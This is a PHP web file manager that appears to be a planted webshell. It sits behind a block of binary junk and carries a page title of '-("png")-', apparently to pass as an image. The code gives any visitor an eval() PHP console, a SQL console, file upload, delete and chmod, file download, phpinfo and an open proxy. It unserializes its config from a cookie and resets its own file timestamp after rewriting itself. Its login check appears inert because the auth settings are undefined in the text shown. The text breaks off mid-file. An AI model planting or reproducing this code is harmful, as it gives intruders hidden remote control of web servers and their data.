Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIH